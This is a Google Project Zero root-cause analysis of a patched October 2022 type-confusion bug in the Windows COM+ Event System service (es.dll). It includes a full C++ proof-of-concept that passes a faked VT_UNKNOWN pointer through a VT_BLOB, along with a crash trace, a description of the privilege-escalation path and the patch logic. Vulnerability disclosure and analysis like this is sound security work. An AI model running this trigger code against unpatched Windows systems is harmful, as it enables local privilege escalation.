James Forshaw, Google Project Zero

The Basics

Disclosure Date: 11 October 2022

Product: Microsoft Windows

Advisory:

Affected Versions: Windows 8.1 through 11 and Windows Server 2012 R2 through 2022, prior to the October 2022 patches. Likely affects versions of Windows prior to 8.1, but that is not acknowledged by the vendor.

First Patched Version: Windows 8.1 through 11 and Windows Server 2012 R2 through 2022, prior to the October 2022 patches.

Issue/Bug Report: N/A

Patch CL: N/A

Bug-Introducing CL: N/A

Reporter(s): Anonymous

The Code

Proof-of-concept:

#include <Windows.h>
#include <Propidl.h>
#include <propvarutil.h>
#include <comdef.h>
#include <Shlwapi.h>
#include <sddl.h>
#include <stdio.h>
#include <string>
#include <vector>

#pragma comment(lib, "Propsys.lib")
#pragma comment(lib, "Shlwapi.lib")

struct IEventSystemTier2;

struct __declspec(uuid("609b9557-4fb6-11d1-9971-00c04fbbb345")) IEventSubscriptionTier2 : public IUnknown {
    virtual HRESULT Store(IEventSystemTier2* p0, PROPVARIANT metadata[18], /* unique */PROPVARIANT* pub_names, /* unique */PROPVARIANT* pub_values, /* unique */PROPVARIANT* sub_names, /* unique */PROPVARIANT* sub_values, BLOB* marshaled_obj, int p7, int p8, int p9) = 0;
    virtual HRESULT Load(IEventSystemTier2* p0, PROPVARIANT p1[18], PROPVARIANT* p2, PROPVARIANT* p3, PROPVARIANT* p4, PROPVARIANT* p5, BLOB* p6) = 0;
};

struct __declspec(uuid("609b954b-4fb6-11d1-9971-00c04fbbb345")) IEventSystemTier2 : public IUnknown {
    virtual HRESULT AddCollectionNotify() = 0;
    virtual HRESULT RemoveCollectionNotify() = 0;
    virtual HRESULT NotifyLogonUser() = 0;
    virtual HRESULT Query() = 0;
    virtual HRESULT ObjectMatchesQuery() = 0;
    virtual HRESULT CreateEventObject() = 0;
    virtual HRESULT ConnectToEventObject() = 0;
    virtual HRESULT Remove() = 0;
    virtual HRESULT CreateSubscription(const wchar_t* name, BOOL transient, IEventSubscriptionTier2** subscription) = 0;
    virtual HRESULT VerifyTransientSubscriberExistence() = 0;
    virtual HRESULT VerifyTransientSubscribersForProcess() = 0;
};

_COM_SMARTPTR_TYPEDEF(IEventSystemTier2, __uuidof(IEventSystemTier2));
_COM_SMARTPTR_TYPEDEF(IEventSubscriptionTier2, __uuidof(IEventSubscriptionTier2));

class __declspec(uuid("1be1f766-5536-11d1-b726-00c04fb926af")) EventSystemTier2
{
};

void Check(HRESULT hr)
{
    if (FAILED(hr))
    {
        throw _com_error(hr);
    }
}

std::wstring GetSid()
{
    HANDLE token;
    OpenProcessToken(::GetCurrentProcess(), TOKEN_QUERY, &token);
    BYTE buffer[0x1000];
    DWORD len;
    GetTokenInformation(token, TokenUser, buffer, 0x1000, &len);
    PTOKEN_USER user = reinterpret_cast<PTOKEN_USER>(buffer);
    LPWSTR str;
    ::ConvertSidToStringSid(user->User.Sid, &str);
    printf("%ls\n", str);
    return str;
}

class ScopedCoInitialize {
    HRESULT hr_;
public:
    ScopedCoInitialize() {
        hr_ = CoInitialize(nullptr);
    }
    ~ScopedCoInitialize() {
        if (SUCCEEDED(hr_)) {
            CoUninitialize();
        }
    }
};

int main(int argc, char** argv) {
    try {
        ScopedCoInitialize co_init;
        Check(CoInitializeSecurity(nullptr, -1, nullptr, nullptr, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, 0, nullptr));

        IEventSystemTier2Ptr ev;
        Check(CoCreateInstance(__uuidof(EventSystemTier2), nullptr, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&ev)));

        IEventSubscriptionTier2Ptr sub;
        Check(ev->CreateSubscription(L"EXAMPLE", TRUE, &sub));
        PROPVARIANT va[18] = {};
        PROPVARIANT a = {};
        PROPVARIANT b = {};
        PROPVARIANT c = {};
        PROPVARIANT d = {};
        BLOB e = {};

        IStreamPtr stm;
        Check(CreateStreamOnHGlobal(nullptr, TRUE, &stm));
        Check(CoMarshalInterface(stm, IID_IUnknown, ev, MSHCTX_DIFFERENTMACHINE, nullptr, MSHLFLAGS_NORMAL));
        HGLOBAL h;
        Check(GetHGlobalFromStream(stm, &h));
        e.cbSize = static_cast<ULONG>(GlobalSize(h));
        e.pBlobData = static_cast<BYTE*>(GlobalLock(h));

        variant_t ecid(L"{10000000-0000-0000-0000-000000000000}");
        Check(VariantToPropVariant(&ecid, &va[0]));
        variant_t partid(L"{20000000-0000-0000-0000-000000000000}");
        Check(VariantToPropVariant(&partid, &va[16]));
        variant_t appid(L"{30000000-0000-0000-0000-000000000000}");
        Check(VariantToPropVariant(&appid, &va[17]));
        Check(InitPropVariantFromBoolean(TRUE, &va[6]));
        std::wstring sid_str = GetSid();
        variant_t sid(sid_str.c_str());
        Check(VariantToPropVariant(&sid, &va[7]));
        variant_t x(L"XXX");
        Check(VariantToPropVariant(&x, &va[3]));
        variant_t y(L"YYY");
        Check(VariantToPropVariant(&y, &va[4]));
        variant_t z(L"ZZZ");
        Check(VariantToPropVariant(&z, &va[14]));

        std::vector<LPCWSTR> names;
        for (size_t i = 0; i < sizeof(PROPVARIANT); ++i)
        {
            names.push_back(L"1");
        }

        PROPVARIANT name_prop;
        Check(InitPropVariantFromStringVector(names.data(), sizeof(PROPVARIANT), &name_prop));

        PROPVARIANT fake_prop = {};
        fake_prop.vt = VT_UNKNOWN;
        fake_prop.punkVal = reinterpret_cast<IUnknown*>(0x12345678);

        PROPVARIANT val_prop;
        val_prop.vt = VT_BLOB;
        val_prop.blob.cbSize = sizeof(fake_prop);
        val_prop.blob.pBlobData = reinterpret_cast<BYTE*>(&fake_prop);

        Check(sub->Store(ev, va, &name_prop, &val_prop, nullptr, nullptr, &e, 0, 0, 0));
    }
    catch (const _com_error& err) {
        printf("%ls\n", err.ErrorMessage());
    }
    return 0;
}

Exploit sample: N/A

Did you have access to the exploit sample when doing the analysis? No

The Vulnerability

Bug class: Type confusion due to aliased types.

Vulnerability details:

The bug is a type confusion in the handling of a PROPVARIANT, which is a generic object type which can hold a range of values such as integers or COM object pointers. This is somewhat similar to issue 1358 in the Intel HECI service.

The vulnerability is in es.dll, which implements the COM+ Event System service. The function InMemoryRegRow::PutPropertyBag creates an IPropertyBag object which is a simple name/value dictionary. The PutPropertyBag function takes two PROPVARIANTs which are expected to contain a vector of strings and a vector of PROPVARIANTs respectively The code is roughly:

HRESULT InMemoryRegRow::PutPropertyBag(PROPVARIANT& Names, PROPVARIANT& Values) {
  this->PropertyBag = CreatePropertyBag(Values->capropvar.cElems);
  for (int i = 0; i < Values.capropvar.cElems; ++i) {
    LPWSTR name = WStringCopy(Names.calpwstr.pElems[i]);
    PROPVARIANT var;
    PropVariantCopy(&var, Values.capropvar.pElems[i]);
    this->PropertyBag->Add(name, var);
  }
  // ...
}

Even though the function is expecting specific variant types it doesn't verify this by checking the vt field in the PROPVARIANT structure. The COM runtime ensures that a PROPVARIANT structure is valid, however as the structure is a union it's possible to pass a different valid value which results in the capropvar.pElems pointer being aliased to a different type. For example the structure referenced by the capropvar value is as follows:

struct CAPROPVARIANT {
   ULONG cElems;
   PROPVARIANT* pElems;
};

We could alias this with a VT_BLOB variant which has the following structure:

struct BLOB {
  ULONG cbSize;
  BYTE  *pBlobData;
};

These two structures line up with the cbSize mapping to cElems and the pElems pointer mapping to pBlobData. We can pass a blob with arbitrary bytes which will be interpreted as an array of PROPVARIANT structures, we can control its contents and it won't be verified by the COM runtime over checking that the byte buffer is of the correct length.

A way of exploiting this is to fake a VT_UNKNOWN type inside the blob, which contains an arbitrary pointer to an IUnknown COM interface. As the pointer is inside the byte array of the blob this isn't verified by the COM runtime when passed to the service. When this fake variant is added to the property bag, PropVariantCopy is called which will try to dereference the faked pointer to get its vtable and ultimately call the IUnknown::AddRef function to add an additional reference to the object. This results in a crash similar to the following when passing a VT_UNKNOWN variant with a bogus pointer value set to 0x12345678:

231c.22c8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
OLEAUT32!VariantCopy+0x9b:
00007ffd`1d114e4b 488b01          mov     rax,qword ptr [rcx] ds:00000000`12345678=????????????????
0:001> k
 # Child-SP          RetAddr           Call Site
00 000000b0`ae17da80 00007ffd`1c4a62f5 OLEAUT32!VariantCopy+0x9b
01 000000b0`ae17dac0 00007ffd`13a3e6cc combase!PropVariantCopy+0x345 [onecore\com\combase\util\propvar.cxx @ 581] 
02 000000b0`ae17db40 00007ffd`13a42b77 es!InMemoryRegRow::PutPropertyBag+0xac
03 000000b0`ae17dba0 00007ffd`1bb58e33 es!CSubscription2::Store+0x557
...

You can get to the vulnerable code by calling the IEventSubscriptionTier2::Store interface method which takes the two vectors as PROPVARIANT parameters. An object exposing the IEventSubscriptionTier2 interface can be created by calling the IEventSystemTier2::CreateSubscription method exposed by the COM class EventSystemTier2 (CLSID:1be1f766-5536-11d1-b726-00c04fb926af) which is implemented by the COM+ Event System service. You need to pass TRUE to the second parameter to use an in-memory property bag and reach the vulnerable code.

This COM class is accessible by any normal user on the system, but not sandboxed processes. The object has a COM launch security descriptor which grants the following groups access:

  • BUILTIN\Administrators
  • Everyone
  • NT AUTHORITY\INTERACTIVE
  • NT AUTHORITY\SYSTEM

The service runs as the LOCAL SERVICE user not a full administrator. However it has SeImpersonatePrivilege which is effective administrator equivalent. Therefore the likely chain is to first get arbitrary code execution in the process, then impersonate an administrator access token to fully compromise the system.

Also worth noting that the service will be automatically started when an instance of the COM object is created, so unless this service is explicitly disabled or not installed the OS would be vulnerable.

Patch analysis:

There's a few minor changes in the patched es.dll which might be some additional hardening but the most important change seems to be the introduction of the function ValidatePropertyBag. This checks whether the two PROPVARIANT parameters are valid. The basic flow is:

HRESULT ValidatePropertyBag(const PROPVARIANT& Names, 
                            const PROPVARIANT& Values) {
  if (Names.vt == (VT_VECTOR | VT_LPWSTR) && 
      Values.vt == (VT_VECTOR | VT_VARIANT) && 
      Names->calpwstr.cElems == Values->capropvar.cElems) {
    return S_OK;
  }
  
  return E_INVALIDARG;
}

This function is called at the start of the function InMemoryRegRow::PutPropertyBag and RegistryRegRow::PutPropertyBag which ensures the variant vectors are of the correct type and size. If the function fails then the entire operation fails. The RegistryRegRow::PutPropertyBag function doesn't look directly exploitable, although it might have an information disclosure bug as the variants are more or less directly copied to a user accessible registry value which could be used to disclose the contents of heap memory.

Thoughts on how this vuln might have been found: It's possible that this could have been fuzzed, however manual analysis seems more likely due to number of arguments which need to be passed to successfully hit the vulnerable code.

(Historical/present/future) context of bug: N/A

The Exploit

Exploit strategy (or strategies): N/A

Exploit flow: N/A

Known cases of the same exploit flow: N/A

Part of an exploit chain? N/A

The Next Steps

Variant analysis

Areas/approach for variant analysis (and why): N/A

Found variants: N/A

Structural improvements

What are structural improvements such as ways to kill the bug class, prevent the introduction of this vulnerability, mitigate the exploit flow, make this type of vulnerability harder to exploit, etc.?

Ideas to kill the bug class:

Accessing variant types can be error prone if the the vt field is not checked before accessing the inner value. This could potentially be mitigated by having wrapper classes which always check the vt before allowing access to the inner value. Also not using a language with form of undefined behavior would help massively.

0-day detection methods

N/A

Other References

None